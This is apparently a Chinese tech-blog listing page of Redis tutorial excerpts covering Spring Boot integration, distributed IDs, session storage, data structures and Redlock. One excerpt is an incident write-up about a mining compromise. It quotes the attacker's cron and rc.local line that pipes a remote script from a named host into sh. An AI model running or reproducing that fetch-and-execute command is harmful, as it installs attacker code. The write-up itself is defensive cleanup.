分类归档

服务器教程

服务器知识、操作系统教程、服务器常用软件等

FWQ
服务器教程
Redis整合SpringBoot的RedisTemplate实现类(实例详解)
Redis整合SpringBoot的RedisTemplate实现类(实例详解) 0浏览 收藏 知识点掌握了,还需要不断练习才能熟练运用。下面golang学习网给大家带来一个数据库开发实战,手把手教大家学习《Redis整合SpringBoot的RedisTemplate实现类(实例详解)》,在实现功能的过程中也带大家重新温习相关知识点,温故而知新,回头看看说不定又有不一样的感悟! Redis整合SpringBoot》》RedisService 接口 package com.tuan.common.base.redis; import java.util.List; import java.util.Map; import java.util.Set; import java.util.concurrent.TimeUnit; public interface RedisService { //Redis 字符串(String) /** * 模糊值再删除 * @param key…
2024-12-01 阅读全文 →
FWQ
服务器教程
redis分布式ID解决方案示例详解
redis分布式ID解决方案示例详解 0浏览 收藏 小伙伴们对数据库编程感兴趣吗?是否正在学习相关知识点?如果是,那么本文《redis分布式ID解决方案示例详解》,就很适合你,本篇文章讲解的知识点主要包括解决方案、redis分布式ID。在之后的文章中也会多多分享相关知识点,希望对大家的知识积累有所帮助! 常用的分布式ID解决方案 在分布式系统中,生成全局唯一ID是非常重要的,因为在分布式系统中,多个节点同时生成ID可能会导致ID冲突。 下面介绍几种常用的分布式ID解决方案。 UUID UUID(通用唯一标识符)是由128位数字组成的标识符,它可以保证在全球范围内的唯一性,因为其生成算法基于时间戳、节点ID等因素。UUID可以使用Java自带的UUID类来生成,如下所示: javaCopy code import java.util.UUID; public class UuidGenerator { public static void main(String[] args) { UUID uuid = UUID.randomUUID(); System.out.println(uuid.toString());…
2024-12-01 阅读全文 →
FWQ
服务器教程
Redis应用实例分享:文章点赞功能设计
Redis应用实例分享:文章点赞功能设计 收藏 数据库小白一枚,正在不断学习积累知识,现将学习到的知识记录一下,也是将我的所得分享给大家!而今天这篇文章《Redis应用实例分享:文章点赞功能设计》带大家来了解一下##content_title##,希望对大家的知识积累有所帮助,从而弥补自己的不足,助力实战开发! 在互联网时代,文章阅读与分享已经成为人们日常生活中必不可少的一部分。然而,对于文章的点赞与收藏功能来说,用户体验体现的非常关键。而Redis作为一个高性能的键值存储数据库,在文章点赞与收藏功能的实现中有很大的优势。本文将分享一个基于Redis实现的文章点赞功能设计。 功能设计 文章点赞功能的设计过程中,需要考虑到许多因素。首先,需要将点赞接口暴露给用户,用户可随时点赞或取消点赞,同时数据应该实时更新。 其次,在高并发的情况下,需要保障系统稳定性,避免出现数据的不一致性。 最后,由于点赞功能的数据非常重要,需要进行持久化处理,保障数据可靠性。 在本案例中,我们将采用Redis来存储文章的点赞数据,同时在应用程序中设置一定的缓存策略,降低对数据库的访问压力。 数据结构设计 在Redis中,我们可以使用Hash数据结构来存储文章点赞的数据,如下所示: hash(article:1, vote:user1, 1)hash(article:1, vote:user2, 1)hash(article:1, vote:user3, 0) 上述结构设计中,”article:1″作为Hash的Key,”vote:user1″、”vote:user2″、”vote:user3″分别为Hash的Field,”1″和”0″则分别代表点赞和取消点赞。 功能实现 采用Spring Boot框架搭建Java应用程序,在其中使用了RedisTemplate实现Redis数据结构的访问与操作,主要分为点赞、取消点赞、获取点赞总数、获取是否点赞等功能。 1)点赞功能实现 点赞功能的实现主要需要进行如下操作: 1.1)判断用户是否已经点赞过文章。 1.2)如果用户未点赞,则更新点赞次数,并将点赞状态存储到Redis中。 2)取消点赞功能实现 取消点赞的实现主要需要进行如下操作:…
2024-12-01 阅读全文 →
FWQ
服务器教程
Redis实现验证码发送并限制每日发送次数的示例代码
Redis实现验证码发送并限制每日发送次数的示例代码 0浏览 收藏 IT行业相对于一般传统行业,发展更新速度更快,一旦停止了学习,很快就会被行业所淘汰。所以我们需要踏踏实实的不断学习,精进自己的技术,尤其是初学者。今天golang学习网给大家整理了《Redis实现验证码发送并限制每日发送次数的示例代码》,聊聊发送、Redis验证码、限制次数,我们一起来看看吧! 1、功能 输入手机号,点击发送后随机生成六位数字码,2分钟有效 输入验证码,点击验证,返回成功或失败 每个手机号每天只能输3次 2、分析 每个手机每天只能输3次:incr每次发送之后+1,当值为3时提示不能发送,过期时间为当天结束 随机生成6位数字验证码:RandomUtil(hutool) 验证码2分钟有效:放入redis里并设置过期时间2分钟 判断验证码是否一致:从redis里获取验证码和输入的验证码进行比对 3、实现 package cn.ken.blog.controller.common; import cn.hutool.core.date.DateUnit; import cn.hutool.core.date.DateUtil; import cn.hutool.core.util.RandomUtil; import cn.ken.blog.common.constant.Constants; import cn.ken.blog.common.domain.Result; import cn.ken.blog.common.enums.ErrorCodeEnum;…
2024-12-01 阅读全文 →
FWQ
服务器教程
Redis和PHP开发:构建高效的会话管理解决方案
Redis和PHP开发:构建高效的会话管理解决方案 收藏 “纵有疾风来,人生不言弃”,这句话送给正在学习数据库的朋友们,也希望在阅读本文《Redis和PHP开发:构建高效的会话管理解决方案》后,能够真的帮助到大家。我也会在后续的文章中,陆续更新数据库相关的技术文章,有好的建议欢迎大家在评论留言,非常感谢! Redis和PHP开发:构建高效的会话管理解决方案 引言:在Web开发中,会话管理是一个非常重要的问题。传统的会话管理方式是使用服务器端的数据库或文件系统来存储会话数据,但这种方式在高并发场景下会导致性能问题。本文将介绍如何使用Redis作为会话管理的解决方案,结合PHP语言进行开发,以构建高效的会话管理系统。 一、Redis简介Redis是一个高性能的键值存储系统,支持多种数据结构,如字符串、哈希表、列表、集合等。Redis的特点之一是数据存储在内存中,因此读写速度非常快。另外,Redis还支持数据持久化,可以将内存中的数据保存到磁盘中。 二、为什么选择Redis作为会话存储相比传统的数据库存储方式,选择Redis作为会话存储有以下优势: 高性能:Redis的数据存储在内存中,读写速度非常快,适合高并发场景。 简单易用:Redis提供了简洁的API,使用起来非常方便。 支持数据持久化:Redis可以将内存中的数据保存到磁盘中,避免数据丢失。 支持分布式部署:Redis支持主从复制、哨兵和集群模式,可以实现高可用和负载均衡。 三、使用Redis存储会话数据下面是一个使用Redis存储会话数据的示例代码: <?php // 连接Redis服务器 $redis = new Redis(); $redis->connect('127.0.0.1', 6379); // 设置会话ID和数据 $sessionId = 'session-id-123'; $data =…
2024-12-01 阅读全文 →
FWQ
服务器教程
SpringBoot怎么整合Spring Cache实现Redis缓存
SpringBoot怎么整合Spring Cache实现Redis缓存 0浏览 收藏 一分耕耘,一分收获!既然打开了这篇文章《SpringBoot怎么整合Spring Cache实现Redis缓存》,就坚持看下去吧!文中内容包含等等知识点…希望你能在阅读本文后,能真真实实学到知识或者帮你解决心中的疑惑,也欢迎大佬或者新人朋友们多留言评论,多给建议!谢谢! 1、简介 Spring Cache 是一个框架,实现了基于注解的缓存功能,只需要简单地加一个注解,就能实现缓存功能。 Spring Cache 提供了一层抽象,底层可以切换不同的cache实现。 具体就是通过 CacheManager 接口来统一不同的缓存技术。 CacheManager 是 Spring 提供的各种缓存技术抽象接口,这是默认的缓存技术,是缓存在Map中的,这也说明当服务挂掉的时候,缓存的数据就没了。 针对不同的缓存技术需要实现不同的 CacheManager CacheManager 描述 EhCacheCacheManager 使用 EhCache 作为缓存技术 GuavaCacheManager 使用…
2024-12-01 阅读全文 →
FWQ
服务器教程
Linux服务器Redis漏洞被利用挖矿解决方法
Linux服务器Redis漏洞被利用挖矿解决方法 0浏览 收藏 怎么入门数据库编程?需要学习哪些知识点?这是新手们刚接触编程时常见的问题;下面golang学习网就来给大家整理分享一些知识点,希望能够给初学者一些帮助。本篇文章就来介绍《Linux服务器Redis漏洞被利用挖矿解决方法》,涉及到服务器、Redis、Linux,有需要的可以收藏一下 由于被检测到对外攻击,已阻断该服务器对其它服务器端口(TCP:6379)的访问,阻断预计将在2018-03-28 07:34:26时间内结束,请及时进行安全自查。若有疑问,请工单或电话联系阿里云售后。发现这个提醒了,基本上你的服务器已经成为挖矿肉鸡了。 最近上服务器,发现服务器redis的备份文件路径变了,一开始也没怎么在意,后来发现一些服务老是挂掉。我重启了次服务器,好像恢复正常了。过了一会,一些关键服务又自动挂了,我开始意识到我服务器可能被入侵变成肉鸡了。这个网址就是罪魁祸首,cdn.namunil.com,开机自启动从此网址自动下载脚本执行,太坑了,这家伙。 于是我看了下crontab,发现有个陌生的例行: 查看定时任务命令: 查看定时任务:vim  /etc/crontab 列出所有的定时任务:crontab -l 删除所有用户定时任务:crontab -r */20 * * * * curl -fsSL http://cdn.namunil.com/ash.php | sh  应该就是它在搞事,于是我把它删掉,重启服务器,惊奇地发现这个例行又出现了,明明已经被我删掉了,于是我看了下开机自动加载命令: cat /etc/rc.d/rc.local  发现如下内容: curl -fsSL http://cdn.namunil.com/ash.php | shexit()  于是我把它删掉,继续重启服务器,这次正常了。Linux服务器自启动文件路径:etc/rc.local 这个每个人的有细微差别,具体可以查看。 接着我继续排查其他被改动的问题,发现博客可以正常读取mysql数据,但是在Linxu直接命令行连接不上: [root@VM /root]# mysql -u root -p  mysql: relocation error: mysql: symbol strmov, version libmysqlclient_16 not defined in file libmysqlclient.so.16 with link time reference  参考这个链接解决了 http://blog.51cto.com/ovcer/1620051 接着发现phpmyadmin还是连接不上,账号密码确认没输错,但是就是登录不上气,也没报错,当时就一脸懵逼了,后来想上博客后台看下数据,发现验证码老时提示输入错误(明明没输错,认真脸)。…
2024-12-01 阅读全文 →
FWQ
服务器教程
Redis基本类型及其数据结构
Redis基本类型及其数据结构 0浏览 收藏 IT行业相对于一般传统行业,发展更新速度更快,一旦停止了学习,很快就会被行业所淘汰。所以我们需要踏踏实实的不断学习,精进自己的技术,尤其是初学者。今天golang学习网给大家整理了《Redis基本类型及其数据结构》,聊聊数据结构、对象、Redis,我们一起来看看吧! 以前在使用Redis的时候,只是简单地使用它提供的基本数据类型和接口,并没有深入研究它底层的数据结构。最近打算重新学习梳理一下Redis方面的知识,所以打算从介绍Redis的基本类型及其数据结构入手。 redisObject Redis的key是顶层模型,它的value是扁平化的。Redis中,所有的value都是一个object,它的结构如下: typedef struct redisObject {   unsigned [type] 4;   unsigned [encoding] 4;   unsigned [lru] REDIS_LRU_BITS;   int refcount;   void *ptr;  } robj;  简单介绍一下这几个字段: type:数据类型,就是我们熟悉的string、hash、list等。 encoding:内部编码,其实就是本文要介绍的数据结构。指的是当前这个value底层是用的什么数据结构。因为同一个数据类型底层也有多种数据结构的实现,所以这里需要指定数据结构。 REDIS_LRU_BITS:当前对象可以保留的时长。这个我们在后面讲键的过期策略的时候讲。 refcount:对象引用计数,用于GC。 ptr:指针,指向以encoding的方式实现这个对象的实际地址。 string 在Redis内部,string类型有两种底层储存结构。Redis会根据存储的数据及用户的操作指令自动选择合适的结构: int:存放整数类型; SDS:存放浮点、字符串、字节类型; SDS: 简单动态字符串 simple dynamic string  SDS SDS的内部数据结构: typedef struct sdshdr { …
2024-12-01 阅读全文 →
FWQ
服务器教程
多备份携手白帽汇构建Redis安全防护
多备份携手白帽汇构建Redis安全防护 0浏览 收藏 在数据库实战开发的过程中,我们经常会遇到一些这样那样的问题,然后要卡好半天,等问题解决了才发现原来一些细节知识点还是没有掌握好。今天golang学习网就整理分享《多备份携手白帽汇构建Redis安全防护》,聊聊多备份,希望可以帮助到正在努力赚钱的你。 背景 11月11日,北京白帽汇安全团队(nosec.org)宣布发现全网性的入侵事件,某不知名团体利用redis设计缺陷,针对国内互联网进行了大规模的 攻击,这次大规模的攻击事件主要针对Linux服务器,如果redis服务器使用root权限启动,并且没有配置认证等安全措施,就可能能够导致 redis数据丢失。目前,该事件已经导致中国互联网有至少超过10000台服务器被入侵,占比达到开放redis服务器的67%,也就是说每100台对 公网开放的服务器就有67台被扫描入侵过。 到目前为止,还无法明确的对此次入侵过程定义为漏洞入侵,因为redis官方网站并未对此提供补丁,至少目前为止看到利用的过程都是基于redis提供的正常功能。考虑到此次事件的影响,建议用户立即采取如下措施,防范事件的进一步扩大影响。 1.配置好Redis安全认证措施 2.禁用flushall、flushdb、keys等命令 3.因Redis不仅仅作为cache使用,更可以成为key-value存储使用,如果出现数据污染和丢失,误操作等情况,将是难以恢复的。建议引入备份解决方案,保障在遇到Redis被入侵或者异常故障时,能快速恢复Redis业务。 解决方案 基于对目前Redis可能面临的数据丢失风险,多备份(www.dbfen.com)作为一款支持Redis的企业级在线备份工具,可非常快捷便利的支持 redis数据库备份和恢复。将自动把redis最新的数据保存下来,并会自动把备份出来的数据加密后上传到多备份的聚合云灾备中心,同时运维人员可以选 择混合云模式,同时会自动在本地保存。 多备份Redis备份与恢复方案示意图 多备份本地备份版本可以在出现问题的时候,立即快速恢复,缩短恢复时间;如果当本地备份出现异常,还可以从多备份的聚合云端灾备中心进行灾难恢复。当企业 的redis服务器数据遭遇损毁时,可以通过多备份工具选择对应的恢复时间点,迅速恢复备份的数据到指定目录,然后重新启动redis服务即可恢复数据。 多备份整体备份和恢复的配置流程相当简单,基本不需要运维人员了解额外的东西。 如何接入多备份聚合云灾备? 用户接入多备份灾备服务体系非常简单,用户只需三个步骤即可开启Redis保护。 1、注册多备份账号 用户进入多备份官网(http://www.dbfen.com/)注册服务账号,登录控制台后,选择创建备份任务。如下图,输入Redis客户端名称,生成与服务账号绑定的Flash客户端。 2、安装多备份Flash客户端 在创建备份任务选项中,选择生成客户端,复制对应脚本至终端中执行,即可自动下载并安装Flash客户端。 至此,准备环境已经完成,这个时候回到多备份控制台,即可看到刚刚生成FLash客户端输入的设备名字已经在线。…
2024-12-01 阅读全文 →
FWQ
服务器教程
Redis作者和分布式大佬打架,谁赢了?
Redis作者和分布式大佬打架,谁赢了? 0浏览 收藏 本篇文章主要是结合我之前面试的各种经历和实战开发中遇到的问题解决经验整理的,希望这篇《Redis作者和分布式大佬打架,谁赢了?》对你有很大帮助!欢迎收藏,分享给更多的需要的朋友学习~ 背景铺垫 面试的时候,不管你的简历写没写 Redis,它基本上是一个绕不过的话题。 为了引出本文要讨论的关于 Redlock 的神仙打架的问题,我们就得先通过一个面试连环炮: 1.Redis 做分布式锁的时候有需要注意的问题? 2.如果是 Redis 是单点部署的,会带来什么问题? 3.那你准备怎么解决单点问题呢? 4.集群模式下,比如主从模式,有没有什么问题呢? 5.你知道 Redis 是怎么解决集群模式也不靠谱的问题的吗? 6.那你简单的介绍一下 Redlock 吧? 7.你觉得 Redlock 有什么问题呢? 很明显,上面是一个常规的面试连环套路题。中间还可以插入很多其他的 Redis…
2024-12-01 阅读全文 →